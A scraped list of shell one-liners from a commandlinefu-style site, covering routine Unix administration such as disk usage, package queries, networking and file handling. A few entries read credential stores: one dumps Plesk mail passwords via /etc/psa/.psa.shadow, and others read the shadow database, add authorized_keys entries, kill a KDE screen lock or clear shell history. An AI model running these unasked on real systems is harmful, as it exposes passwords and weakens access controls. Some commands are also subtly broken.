* complete extraction of a debian-package

 dpkg-deb -x $debfile $extractdir; dpkg-deb -e $debfile $extractdir/DEBIAN;

* Get the size of all the directories in current directory

 sudo du -sh $(ls -d */) 2> /dev/null

* Get the ip registered to a domain on OpenWRT

 nslookup commandlinefu.com|sed 's/[^0-9. ]//g'|tail -n 1|awk -F " " '{print $2}'

* Test http request every second, fancy display.

 watch -n 1 nc localhost 80 '<<EOF GET / HTTP/1.1 Host: tux-ninja Connection: Close EOF'

* Display the definition of a shell function

 typeset -f <function-name>

* tar copy

 tar cf - dir_to_cp/ | (cd path_to_put/ && tar xvf -)

* Nicely display permissions in octal format with filename

 stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]( [^[:space:]]+)/\1 \2 \3/' | rev

* Shows how many percents of all avaliable packages are installed in

 echo $((`eix --only-names -I | wc -l` * 100 / `eix --only-names | wc -l`))%

* Installing debian on fedora (chrooted)

 debootstrap --arch i386 lenny /opt/debian ftp://debian.das.ufsc.br/pub/debian/

* Updating to Fedora 11

 yum clean all ; rpm -Uvh http://download.fedora.redhat.com/pub/fedora/linux/releases/11/Fedora/i 386/os/Packages/fedora-release-11-1.noarch.rpm ; yum -y upgrade ; reboot

* Which files/dirs waste my disk space

 du -aB1m|awk '$1 >= 100'

* Query ip pools based on successive netnames via whois

 net=DTAG-DIAL ; for (( i=1; i<30; i++ )); do whois -h whois.ripe.net $net$i | grep '^inetnum:' | sed "s;^.*:;$net$i;" ; done

* Get Futurama quotations from slashdot.org servers

 curl -sI http://slashdot.org/ | sed -nr 's/X-(Bender|Fry)(.*)/\1\2/p'

* Get all IPs via ifconfig

 ifconfig | awk '/ddr:[0-9]/ {sub(/addr:/, ""); print $2}'

* Make a statistic about the lines of code

 find . -type f -name "*.c" -exec cat {} \; | wc -l

* txt2html

 recode ..HTML < file.txt > file.html

* List all installed Debian packages

 dpkg --get-selections | grep -v deinstall | cut -f 1

* Tail the most recently modified file

 ls -t1 | head -n1 | xargs tail -f

* Join a folder full of split files

 for file in *.001; do NAME=`echo $file | cut -d. -f1,2`; cat "$NAME."[0-9][0-9][0-9] > "$NAME"; done

* Combine two mp3's or more into 1 long mp3

 cat 1.mp3 2.mp3 > combined.mp3

* Get the SUM of visual blocked digits in vim

 vmap <c-a> y:$<CR>o<Esc>map<Esc>:'a,$!awk '{sum+=$0}END{print "SUM:" sum}'<CR>dd'>p

* Recursive replace of directory and file names in the current

 for i in `find -name '*oldname*'`; do "mv $i ${i/oldname/newname/}"; done

* Recursive replace of directory and file names in the current

 find . *oldname* | grep oldname | perl -p -e 's/^(.*)(oldname)(.*$)/mv $1$2$3 $1newname$3/' | sh

* Get all IPs via ifconfig

 ifconfig | awk -F':| +' '/ddr:/{print $4}'

* Output a SSL certificate start or end date

 date --date="$(openssl x509 -in xxxxxx.crt -noout -startdate | cut -d= -f 2)" --iso-8601

* Efficient count files in directory (no recursion)

 perl -e 'if(opendir D,"."){@a=readdir D;print $#a-1,"\n"}'

* get events from google calendar for a given dates range

 wget -q -O - 'URL/full?orderby=starttime&singleevents=true&start-min=2009-06-01&star t-max=2009-07-31' | perl -lane '@m=$_=~m/<title type=.text.>(.+?)</g;@a=$_=~m/startTime=.(2009.+?)T/g;shift @m;for ($i=0;$i<@m;$i++){ print $m[$i].",".$a[$i];}';

* get delicious bookmarks on your shell (text version :-))

 curl -u 'username' https://api.del.icio.us/v1/posts/all | sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'

* search string in _all_ revisions

 for i in `git log --all --oneline --format=%h`; do git grep SOME_STRING $i; done

* Read just the IP address of a device

 /sbin/ifconfig | awk -F'[ :]+' '/inet addr/{print $4}'

* Add temporary entry to authorized_keys

 Keys=$HOME/.ssh/authorized_keys;Back=$Keys.tmp.bak;Time=${1:-15};cp $Keys $Back;cat /dev/stdin >>$Keys;echo mv $Back $Keys|at now+${Time}minutes;

* A command's package details

 dpkg -S `which nm` | cut -d':' -f1 | (read PACKAGE; echo "[${PACKAGE}]"; dpkg -s "${PACKAGE}"; dpkg -L "${PACKAGE}") | less

* Test your total disk IO capacity, regardless of caching, to find

 time (dd if=/dev/zero of=blah.out bs=256M count=1 ; sync )

* git remove files which have been deleted

 git ls-files -z --deleted | xargs -0 git rm

* Find files with lines that do not match a pattern

 fmiss() { grep -RL "$*" * }

* Copy 3 files from 3 different servers and adds server name tag to

 for i in `seq 1 3`; do scp finku@server$i:file.txt server$i-file.txt; done

* extract all tgz in current dir

 ls *tgz | xargs -n1 tar xzf

* Search commandlinefu from the command line

 (curl -d q=grep http://www.commandlinefu.com/search/autocomplete) | egrep 'autocomplete|votes|destination' | perl -pi -e 's/a style="display:none" class="destination" href="//g;s/<[^>]*>//g;s/">$/\n\n/g;s/^ +//g;s/^\//http:\/\/commandlinefu.com\//g'

* Check if you need to run LaTeX to update the TOC

 cp texfile.toc texfile.toc.bak; latex texfile.tex; cmp -s texfile.toc texfile.toc.bak; if [ $? -ne 0 ]; then latex texfile.tex; fi

* clone a hard drive to a remote directory via ssh tunnel, and

 # dd if=/dev/sda | gzip -c | ssh user@ip 'dd of=/mnt/backups/sda.dd'

* Solaris - check ports/sockets which process has opened

 /usr/proc/bin/pfiles $PID | egrep "sockname|port"

* Access partitions inside a LVM volume

 kpartx -a /dev/mapper/space-foobar

* Log the current memory statistics frequently to syslog

 while true; do { $(which logger) -p local4.notice `free -m | grep Mem`; sleep 60; } done &

* Record camera's output to a avi file

 mencoder -tv device=/dev/video1 tv:// -ovc copy -o video.avi

* list all crontabs for users

 cut -d: -f1 /etc/passwd | grep -vE "#" | xargs -i{} crontab -u {} -l

* Find Files That Exceed a Specified Size Limit

 find directory -size +nnn

* get newest jpg picture in a folder

 cp `ls -x1tr *.jpg | tail -n 1` newest.jpg

* Use QuickLook from the command line without verbose output

 qlook() { qlmanage -p "$@" >& /dev/null & }

* Skip to next selection in playlist

 killall -2 mpg321

* Show all usernames and passwords for Plesk email addresses

 mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id = accounts.id;"

* The Chronic: run a command every N seconds in the background

 chronic () { t=$1; shift; while true; do $@; sleep $t; done & }

* eDirectory LDAP Search for Statistics

 ldapsearch -h ldapserver.willeke.com -p389 -b "" -s base -D cn=admin,ou=administration,dc=willeke,dc=com -w secretpwd "(objectclass=*)" chainings removeEntryOps referralsReturned listOps modifyRDNOps repUpdatesIn repUpdatesOut strongAuthBinds addEntryOps

* Pipe the result of a command to IRC (channel or query)

 function my_irc { tmp=`mktemp`; cat > $tmp; { echo -e "USER $username x x :$ircname\nNICK $nick\nJOIN $target"; while read line; do echo -e "PRIVMSG $target :$line"; done < $tmp; } | nc $server > /dev/null ; rm $tmp; }

* Phrack 66 is out, but the .tar.gz is not there yet on

 mkdir phrack66; (cd phrack66; for n in {1..17} ; do echo "http://www.phrack.org/issues.html?issue=66&id=$n&mode=txt" ; done | xargs wget)

* Recursively create a TAGS file for an entire source tree. TAGS

 ctags -R

* rsync over ssh via non-default ssh port

 rsync -e 'ssh -p PORT' user@host:SRC DEST

* Configuring proxy client on terminal

 export http_proxy=<user>:<pass>@<server>:<port> ftp_proxy=<user>:<pass>@<server>:<port>

* Check wireless link quality with dialog box

 while [ i != 0 ]; do sleep 1 | dialog --clear --gauge "Quality: " 0 0 $(cat /proc/net/wireless | grep $WIRELESSINTERFACE | awk '{print $3}' | tr -d "."); done

* change ownership en masse of files owned by a specific user,

 find . -uid 0 -print0 | xargs -0 chown foo:foo

* Clear history

 history -c

* Change timestamp on a file

 touch -amct [[CC]YY]MMDDhhmm[.ss] FILE

* Show the last 20 sessions logged on the machine

 last -n 20

* Show LAN IP with ip(8)

 ip route show dev eth0 | awk '{print $7}'

* Unlock your KDE4 session remotely (for boxes locked by KDE lock

 killall -s 9 krunner_lock

* Using scapy to get the IP of the iface used to contact local gw

 python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]"

* Backup with SSH in a archive

 ssh -i $PRIVATEKEY $HOST -C 'cd $SOURCE; tar -cz --numeric-owner .' | tee $DESTINATION/backup.tgz | tar -tz

* Listen to a file

 while true; do cat /usr/src/linux/kernel/signal.c > /dev/dsp; done

* Updating the status on identi.ca using curl.

 curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml

* Copy data using gtar

 gtar cpf - . | (cd /dest/directory; gtar xpf -)

* burn initial session on a growable DVD using growisofs

 growisofs -Z /dev/dvd -J -r "directory name to burn on DVD"

* dump 1KB of data from ram to file

 dd if=/dev/mem of=file.dump bs=1024 skip=0 count=1

* Change framebuffer font

 setfont cybercafe

* Report information about executable launched on system

 aureport -x

* Print summary of referers with X amount of occurances

 awk -F\" '{print $4}' *.log | grep -v "eviljaymz\|\-" | sort | uniq -c | awk -F\ '{ if($1>500) print $1,$2;}' | sort -n

* cpu and memory usage top 10 under Linux

 ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f%\t%.2f%\n",num[user], user, cpu[user], mem[user]) }'

* Convert from octal format to umask

 perm=( 6 4 4 ) ; for elem in ${perm[@]}; do echo `expr 7 - $elem` ;

* mail with attachment

 tar cvzf - data1 data2 | uuencode data.tar.gz | mail -s 'data' you@host.fr

* find/edit your forgotten buddy pounces for pidgin

 vim ~/.purple/pounces.xml

* Display formatted routes

 routel

* For Gentoo users : helping with USE / emerge

 emerge -epv world | grep USE | cut -d '"' -f 2 | sed 's/ /\n/g' | sed '/[(,)]/d' | sed s/'*'//g | sort | uniq > use && grep ^- use | sed s/^-// | sed ':a;N;$!ba;s/\n/ /g' > notuse && sed -i /^-/d use && sed -i ':a;N;$!ba;s/\n/ /g' use

* Burn CD/DVD from an iso, eject disc when finished.

 cdrecord dev=0,0,0 -v -eject yourimage.iso

* Add a line from 1 file after every line of another (shuffle files

 sed '/^/R addfile' targetfile > savefile

* Find the modified time (mtime) for a file

 date -r foo

* Jump to a song in your XMMS2 playlist, based on song title/artist

 function jumpTo { xmms2 jump `xmms2 list | grep -i '$1' | head -n 1 | tail -n 1 | sed -re 's@.+\[(.+)/.+\] (.+)@\1@'`; }

* Use mtr to create a text file report

 mtr --report --report-cycles 10 www.google.com > google_net_report.txt

* Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)

 svn info | grep '^URL:' | egrep -o '(tags|branches)/[^/]+|trunk' | egrep -o '[^/]+$'

* Change the default editor for modifying the sudoers list.

 sudo update-alternatives --config editor

* Simple word scramble

 shuf -n1 /usr/share/dict/words | tee >(sed -e 's/./&\n/g' | shuf | tr -d '\n' | line) > /tmp/out

* Show all mergeinfo for a svn subtree

 find . \( -type d -name .svn -prune \) -o -print | while read file ; do mergeinfo=`svn propget svn:mergeinfo $file` ; [ "$mergeinfo" != "" ] && echo -e "$file\n $mergeinfo\n" ; done

* SVN Command line branch merge

 /usr/local/bin/svn merge -r {rev_num}:HEAD https://{host}/{project}/branches/{branch_name} .

* Propagate X session cookies on a different user and login as that

 read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep :$(echo ${DISPLAY: -4:2}));sudo su - $u

* Display only hosts up in network

 nmap -sP your network/submask | awk "/^Host/"'{ print $2 }'

* Recursive Line Count

 find ./ -not -type d | xargs wc -l | cut -c 1-8 | awk '{total += $1} END {print total}'

* sorting file contents into individual files with awk

 awk '{print > $3".txt"}' FILENAME

* Copy files and directories from a remote machine to the local

 ssh user@host "(cd /path/to/remote/top/dir ; tar cvf - ./*)" | tar xvf -

* Then end of the UNIX epoch

 date -d @$(echo $((2 ** 31 - 1)))

* View an info page on a nice interface

 yelp info:foo

* Flush DNS cache in MacOS 10.5

 dscacheutil -flushcache

* list services running (as root)

 service --status-all | grep running

* Watch your freebox flux, through a other internet connection (for

 vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout

* Watch the National Debt clock

 watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"

* Use find to get around Argument list too long problem

 find . -name 'junkfiles-*' -print0 | xargs -0 rm

* Easily run a program in the background without losing output

 function fork () { tf=$(tempfile -d /tmp -p $1.);echo -n "$tf "; $@ &>$tf& }

* Remove apps with style: nuke it from orbit

 function nuke() { if [ $(whoami) != "root" ] ; then for x in $@; do sudo apt-get autoremove --purge $x; done; else for x in $@; do apt-get autoremove --purge $x; done; fi }

* which procs have $PATH_REGEX open?

 find /proc -regex '/proc/[0-9]+/smaps' -exec grep -l "$PATH_REGEX" {} \; | cut -d'/' -f2

* add static arp entry to default gateway, arp poison protection

 arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')

* burn a isofile to cd or dvd

 cdrecord -v dev=/dev/cdrom yourimage.iso

* keep an eye on system load changes

 watch -n 7 -d 'uptime | sed s/.*users,//'

* Mount an smb share on linux

 mount -t smbfs //$server/share /local/mount -o rw,username=$USER

* Display the standard deviation of a column of numbers with awk

 awk '{sum+=$1; sumsq+=$1*$1} END {print sqrt(sumsq/NR - (sum/NR)**2)}' file.dat

* Averaging columns of numbers

 awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat

* Count number of bytes that are different between 2 binary files

 cmp -l file1.bin file2.bin | wc -l

* Stream the latest offering from your fave netcasts/podcasts

 vlc --one-instance --playlist-enqueue -q $(while read netcast; do wget -q $netcast -O - |grep enclosure | tr '\r' '\n' | tr \' \" | sed -n 's/.*url="\([^"]*\)".*/\1/p'|head -n1; done <netcast.txt)

* Display email addresses that have been sent to by a postfix

 sed -n -e '/postfix\/smtp\[.*status=sent/s/^.*to=<\([^>]*\).*$/\1/p' /var/log/mail.log | sort -u

* Compress a file or directory keeping the owner and permissions

 tar -jcvf /folder/file.tar.bz2 --same-owner --same-permissions /folder/

* A signal trap that logs when your script was killed and what other

 trap "echo \"$0 process $$ killed on $(date).\" | tee ${0##*/}_$$_termination.log; echo 'Active processes at the time were logged to ${0##*/}_$$_termination.log'; ps u >> ${0##*/}_$$_termination.log; exit " HUP INT QUIT ABRT TERM STOP

* listen to ram

 cat /dev/mem > /dev/audio

* Big (four-byte) $RANDOM

 printf %d 0x`dd if=/dev/urandom bs=1 count=4 2>/dev/null | od -x | awk 'NR==1 {print $2$3}'`

* HDD Performance Write Test

 dd if=/dev/zero of=10gb bs=1M count=10240

* Copy a file and force owner/group/mode

 install -o user -g group -m 755 /path/to/file /path/to/dir/

* Delete newline

 tr -d "\n" < file1 > file2

* Make the Mac OS X Dock 2D once more (10.5 and above only)

 defaults write com.apple.Dock no-glass -boolean YES; killall Dock

* Find files with the same names in several directories.

 ls -1 . dir2 dir3|sort|uniq -d

* reset an hanging terminal session

 ^J tput sgr0 ^J

* Create a 100MB file for testing transfer speed

 dd if=/dev/random of=bigfile bs=1024 count=102400

* Number of CPU's in a system

 grep "processor" /proc/cpuinfo | wc -l

* send substituted text to a command without echo, pipe

 nc localhost 10000 <<< "message"

* phpinfo from the command line

 echo "<?php phpinfo(); ?>" | php > phpinfo.txt

* read Windows ACLs from Linux

 smbcacls //server/sharename file -U username

* Umount only the NFS related to 'string'

 for i in `df -P |grep string|cut -f2 -d%|cut -c2-100`; do umount -l -f $i;done

* Find files with at least one exec bit set

 find . -type f -perm +0111 -print

* Get your default route

 ip route | grep default | awk '{print $3}'

* List all files/folders in working directory with their total size

 du --max-depth=1 -m

* Show a calendar

 cal [[month] year]

* Check for Firewall Blockage.

 iptables -L -n --line-numbers | grep xx.xx.xx.xx

* Finds all files from / on down over specified size.

 find / -type f -size +25M -exec ls -lh {} \; | awk '{ print $5 " " $6$7 ": " $9 }'

* Mount a windows partition in a dual boot linux installation with

 mount -o -t ntfs-3g /dev/sda1 /mnt/windows/c force

* tar pipe to copy files, alternate to cp -Ra

 (cd /orignl/path tar -cf - . ) | (cd /dst/dir;tar -xvf -)

* burn backed up xbox 360 games

 growisofs -use-the-force-luke=dao -use-the-force-luke=break:1913760 -dvd-compat -speed=2 -Z /dev/cdrom=XBOX360GAMEHERE.iso

* find all files containing a pattern, open them using vi and place

 find . -type f -exec grep -l pattern {} \; | xargs vi +/pattern

* converts a directory full of source tarballs into a bzr repository

 bzr init .;for file in `ls *.bz2`; do bzr import $file; bzr ci -m $file; done

* Test python regular expressions

 rgx_match() { python -c "import re; print re.search('$1','$2').groups()"; }

* Perform a C-style loop in Bash.

 for (( i = 0; i < 100; i++ )); do echo "$i"; done

* Pipe a textfile to vim and move the cursor to a certain line

 zcat /usr/share/doc/vim-common/README.gz | vim -g +23 -

* Convert PNG to GIF

 for file in *.png; do convert "$file" "$(basename $file .png).gif"; done

* Turns hidden applications transparent in the Mac OS X dock.

 defaults write com.apple.Dock showhidden -bool YES

* Creat a new user with no shell. Useful to provide other services

 useradd -s /sbin/nologin nicdev

* Search specified $TEXT1 and Replace that by specified arg ($TEXT2)

 find "$DIR" -regex "$FILENAME" -type f -print0 | xargs -0 sed -i _`date "+%y%m%d%H%M%S"` -E "s/$TEXT1/$TEXT2/g"

* It decripts all pgp files in a selection folder and move the

 for x in *.pgp do `cat /file_with_the_passphrase.dat|(gpg --batch --no-tty --yes --passphrase-fd=0 --decrypt `basename $x`; ) > 'dump_content.dat'` done;

* Show device drivers and their properties (Windows XP)

 driverquery /si /fo table

* relabel current konsole tab

 alias rk='d=$(dcop|grep $PPID) && s=$(dcop $d konsole currentSession) && dcop $d $s renameSession'

* Mortality Countdown

 while [ 0 ]; do expr 2365200000 \- `date +%s` \- `date --date "YYYY-mm-dd HH:MM:ss" +%s`; sleep 1; clear; done

* set prompt and terminal title to display hostname, user ID and

 export PS1='\[\e]0;\h \u \w\a\]\n\[\e[0;34m\]\u@\h \[\e[33m\]\w\[\e[0;32m\]\n\$ '

* Show one line summaries of all DEB packages installed on Ubuntu

 dpkg --list '*linux*' | grep '^ii'

* Create a git alias that will pull and fast-forward the current

 git config --global --add alias.ff "pull --no-commit -v" ; git ff

* Getting the ip address of eth0

 ifconfig eth0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}'

* tunnel vnc port

 ssh -L 5900:localhost:5900 user@exampleserver.com

* Find public IP when behind a random router (also see description)

 alias pubip='GET http://www.whatismyip.com/automation/n09230945.asp && echo'

* Remove multiple same rpm packages

 rpm -e --allmatches filename.rpm

* KDE Mixer Master Mute/Unmute

 alias mute="dcop kmix Mixer0 toggleMasterMute\(\) ; dcop kmix Mixer0

* Automatically create a rar archive

 rar a -m0 "${PWD##*/}.rar" *

* Display the linux host infomation.

 hostinfo.sh

* Recover cvs ": no such repository" error

 find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'

* Recursive Ownership Change

 chown -cR --from=olduser:oldgroup newuser:newgroup *

* Name a backup/archive file based on current date and time

 archivefile=filename-$(date +%Y%m%d-%H%M).tar.gz

* Erase DVD RW

 dvd+rw-format /dev/dvd

* Separates each frame of a animated gif file to a counted file,

 convert +adjoin animatedImage.gif test.gif ; convert +append test*.gif

* convert hex to decimal ; decimal to hex

 echo 16i `echo "F" | tr '[a-f]' '[A-F]'` p | dc ; echo 16o "15" p | dc

* Better recursive grep with pretty colors... requires ruby and gems

 rak "what you're searching for" dir/path

* Change size of lots of image files.

 for File in *.jpg; do mogrify -resize 1024 -quality 96 $File; done

* list file descriptors opened by a process

 ls -al /proc/<PID>/fd

* finding more large files

 find / -xdev -size +1024 -exec ls -al {} \; | sort -r -k 5

* cloning partition tables under Solaris

 prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2

* E-mail a traditional Berkeley mbox to another recipient as

 formail -Y -s /usr/sbin/sendmail bar@example.com < /var/mail/foo

* Prepare B&W scans for clean looking, searchable PDF

 convert pagexxx.png -filter Cubic -resize 200% -threshold 50% -compress Group4 pagexxx.tiff; tiff2pdf -z -p letter -ro -x 1200 -y 1200 -o pagexxx.pdf pagexxx.tiff

* Periodic Log Deletion

 find /path/to/dir -type f -mtime +[#] -exec rm -f {} \;

* in-place search/replace with datestamped backup

 sed -i.`date +%Y%m%d` -e 's/pattern/replace' [filename]

* Unrar multiple directories into current working directory

 for x in */*.rar; do unrar x $x; done

* Get line count for any file ending with extension recursively

 find . -name "*.py" | xargs wc -l

* Search for in which package the specified file is included.

 /bin/rpm -qf /etc/passwd /etc/issue /etc/httpd/conf/httpd.conf

* List just the executable files (or directories) in current

 ls -dF `find . -maxdepth 1 \( -perm -1 -o \( -perm -10 -o -perm -100 \) \) -print`

* [WinXP]Use as a shortcut in the SendTo menu to open a cmd window

 C:\WINDOWS\system32\cmd.exe /t:0A /k cd /d

* Function to remove a directory from your PATH

 pathrm() { PATH=`echo $PATH | sed -e "s=^${1}:==;s=:${1}$==;s=:${1}:=:="`; }

* move all the .bak backup copies to their original names (rename

 for i in *.bak ; do nuname=`echo $i | sed 's/\.[^\.]*$//'`; echo renaming $i to $nuname;mv $i $nuname; done

* Print all lines in a file that are not a certain length

 awk 'length($0)!=12 {print}' your_file_name

* Creates a SSHFS volume on MacOS X (better used as an alias). Needs

 mkdir /Volumes/sshdisk 2> /dev/null; sshfs user@server:/

* Get me yesterday's date, even if today is 1-Mar-2008 and yesterday

 TZ=XYZ24 date

* look for a function reference in a library set

 nm --defined-only --print-file-name lib*so 2>/dev/null | grep ' pthread_create$'

* diff directories, quick cut and paste to view the changes

 diff -q dir1/ dir2/ | grep differ | awk '{ print "vimdiff " $2 " " $4 }'

* Flush and then immediately start watching a file

 (> errors.log) && tail -f !^

* Every Nth line position # (AWK)

 awk '{if (NR % 3 == 1) print $0}' foo > foo_every3_position1; awk '{if (NR % 3 == 2) print $0}' foo > foo_every3_position2; awk '{if (NR % 3 == 0) print $0}' foo > foo_every3_position3

* Fix borked character coding in a tty.

 LC_ALL=C man -c man

* use sed to simulate rpad and lpad

 ls / | sed -e :a -e 's/^.\{1,15\}$/&_/;ta'

* Print a row of 50 hyphens

 echo - | sed -e :a -e 's/^.\{1,50\}$/&-/;ta'

* Print a row of 50 hyphens

 jot -s '' -b '-' 50

* Prints line numbers

 nl <filename>

* Determine what process is listening on a port on Solaris, without

 for x in `ptree | awk '{print $1}'`; do pfiles $x | grep ${PORT} > /dev/null 2>&1; if [ x"$?" == "x0" ]; then ps -ef | grep $x | grep -v grep; fi; done 2> /dev/null

* Change your swappiness Ratio under linux

 echo 50 > /proc/sys/vm/swappiness

* paged 'ls' in color

 ls -lah --color=always | most

* Manage "legacy" service run control links

 sudo find /etc/rc{1..5}.d -name S99myservice -type l -exec sh -c 'NEWFN=`echo {} | sed 's/S99/K99/'` ; mv -v {} $NEWFN' \;

* Replace spaces in filename

 for i in *\ *; do if [ -f "$i" ]; then mv "$i" ${i// /_}; fi; done

* Replace strings in files

 sed -i -e 's/war/peace/g' *

* Shorten url using bit.ly API

 curl -s --data-urlencode 'longUrl='$1 --data-urlencode 'login='$login --data-urlencode 'apiKey='$apikey 'http://api.bit.ly/shorten?version=2.0.1&format=xml' | xmlstarlet sel -T -t -m "//shortUrl" -v "." | line

* Find and print pattern location from all files on command line

 find . -exec grep $foo {} \; -print

* Display the output of a command from the first line until the

 command | sed '/regex/q'

* Read just the IP address of a device

 ifconfig -l | xargs -n1 ipconfig getifaddr 2> /dev/null

* Display the list of all opened tabs from Firefox via a python

 python <<< $'import minjson\nf = open("sessionstore.js", "r")\njdata = minjson.read(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'

* Pause and Resume Processes

 stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; }

* upload a file via ftp

 curl -u user:passwd -T /home/dir/local_file_to_upload ftp://your_host.com/subdir/

* floating point shell calculator

 calc() { awk 'BEGIN { OFMT="%f"; print '"$*"'; exit}'; }

* show how much diskspace all images in a given directory need

 find /home/bubo/ -type f \( -iname \*.jpg -print0 , -iname \*.png -print0 , -iname \*gif -print0 \) | du -cm --files0-from - | tail -1

* floating point bash calculator w/o precision

 b(){ echo "scale=${2:-2}; $1" | bc -l; }

* copy partition table from /dev/sda to /dev/sdb

 sfdisk -d /dev/sda | sed 's/sda/sdb/g' | sfdisk /dev/sdb

* Display the output of a command from the first line until the

 <your command here> | perl -n -e 'print "$_" if 1 ... /<regex>/;'

* Randomize lines (opposite of | sort), or use 'shuf' better.

 perl -wl -e '@f=<>; for $i (0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] if ($i!=$r); } chomp @f; print join $/, @f;' try.txt

* Sum process information using awk

 ps -ylC httpd --sort:rss | awk '{ SUM += $8 } END { print SUM/1024 }'

* monitor the kernel ring buffer

 watch 'dmesg | tail -15'

* parse an rpm name into its components - fast

 parse_rpm() { RPM=$1;B=${RPM##*/};B=${B%.rpm};A=${B##*.};B=${B%.*};R=${B##*-};B=${B%- *};V=${B##*-};B=${B%-*};N=$B;echo "$N $V $R $A"; }

* display embeded comments for every --opt, usefull for auto

 vim -n -es -c 'g/# CommandParse/+2,/^\s\+esac/-1 d p | % d | put p | %<' -c 'g/^\([-+]\+[^)]\+\))/,/^\(\s\+[^- \t#]\|^$\)/-1 p' -c 'q!' $0

* p is for pager

 p() { l=$LINES; case $1 in do) shift; IFS=$'\n' _pg=( $("$@") ) && _pgn=0 && p r;; r) echo "${_pg[*]:_pgn:$((l-4))}";; d) (( _pgn+=l-4 )); (( _pgn=_pgn>=${#_pg[@]}?${#_pg[@]}-l+4:_pgn )); p r;; u) (( _pgn=_pgn<=l-4?0:_pgn-$l-4 )); p r;; esac; }

* Sometimes you just want a quick way to find out if a certain user

 getent shadow | grep '^[^:]\+:!' | cut -d: -f1

* Sometimes you just want a quick way to find out if a certain user

 getent shadow | while IFS=: read a b c; do grep -q '!' <<< "$b" && echo "$a LOCKED" || echo "$a not locked"; done

* Sometimes you just want a quick way to find out if a certain user ??

 awk -F":" '{ print $1 }' /etc/passwd | while read UU ; do STATUS=$(passwd -S ${UU} | grep locked 2>/dev/null) ; if [[ ! -z ${STATUS} ]] ; then echo "Account ${UU} is locked." ; fi ; done

* report what tape is in autoloader mailslot (using barcode label)

 mtx -f /dev/sg13 status | grep EXPORT | cut -c 56-63

* count and number lines of output, useful for counting number of

 ps aux | grep [h]ttpd | cat -n

* Create SSH key exchange from one host to the other

 cat ~/.ssh/id_rsa.pub | ssh <remote_host> "xargs --null echo >> ~/.ssh/authorized_keys"

* Check general system error on AIX

 errpt -a | more

* Send a local file via email

 { echo -e "$body"; uuencode "$outfile" "$outfile"; } | mail -s "$subject" "$destaddr" ;

* display / view the contents of the manifest within a java jar

 $ unzip -p some-jar-file.jar META-INF/MANIFEST.MF

* Optimal way of deleting huge numbers of files

 find /path/to/dir/ -type f -exec rm {} +

* Extract all urls from the last firefox sessionstore.js file used.

 grep -oP '"url":"\K[^"]+' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)

* Router discovery

 traceroute 2>/dev/null -n google.com | awk '/^ *1/{print $2;exit}'

* prints line numbers

 perl -pe 'print "$. "' <file>

* Use curl on Windows to bulk-download the Savitabhabhi Comic Strip

 for /L %%x in (1,1,16) do mkdir %%x & curl -R -e http://www.kirtu.com

* Know when you will type :q in your term instead of vi(m), the

 alias :q='tput setaf 1; echo >&2 "this is NOT vi(m) :/"; tput sgr0'

* Salvage a borked terminal

 echo <ctrl+v><ctrl+o><enter>

* Search trought pidgin's conversation logs for "searchterm", and

 grep -Ri searchterm ~/.purple/logs/* | sed -e 's/<.*?>//g'

* Shorten url with is.gd using curl, perl

 curl -s "http://is.gd/api.php?longurl=[long_url]"

* get MAC address of default gateway

 netstat -nr | awk 'BEGIN {while ($1!="default") getline; g=$2;} (g==$1) {print $2; exit;}'

* Finding all numbers that are bigger then 1 in vim

 /^\([2-9]\d*\|1\d+\)

* Show Network IP and Subnet

 ipcalc $(ifconfig eth0 | grep "inet addr:" | cut -d':' -f2,4 | sed 's/.+Bcast:/\//g') | awk '/Network/ { print $2 } '

* Router discovery

 awk 'NR==2 {print $1}' /proc/net/arp

* Return IP Address

 ifconfig -a| awk 'BEGIN{FS="[ :]+"} /Bcast/{print $4}'

* Make ABBA better (requires firefox)

 wget -O - -q http://www.azlyrics.com/lyrics/abba/takeachanceonme.html | sed -e 's/[cC]hance/dump/g' > ~/tdom.htm && firefox ~/tdom.htm

* get daily wizard of id comic

 curl -o id.gif `date +http://d.yimg.com/a/p/uc/%Y%m%d/largeimagecrwiz%y%m%d.gif`

* View the newest xkcd comic.

 lynx --dump --source http://www.xkcd.com | grep `lynx --dump http://www.xkcd.com | egrep '(png|jpg)'` | grep title | cut -d = -f2,3 | cut -d '"' -f2,4 | sed -e 's/"/|/g' | awk -F"|" ' { system("display " $1);system("echo "$2); } '

* Watch those evil Red Hat states code D Uninterruptible sleep

 watch -n 1 "ps aux | sed -n 's/ D /&/p'"

* lists contents of a tar file

 tar -tf /path/to/file.tar

* generate random password

 cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 10 | sed 1q

* use the short username by default for network authentication

 defaults write /Library/Preferences/com.apple.NetworkAuthorization UseShortName -bool YES

* Match a URL

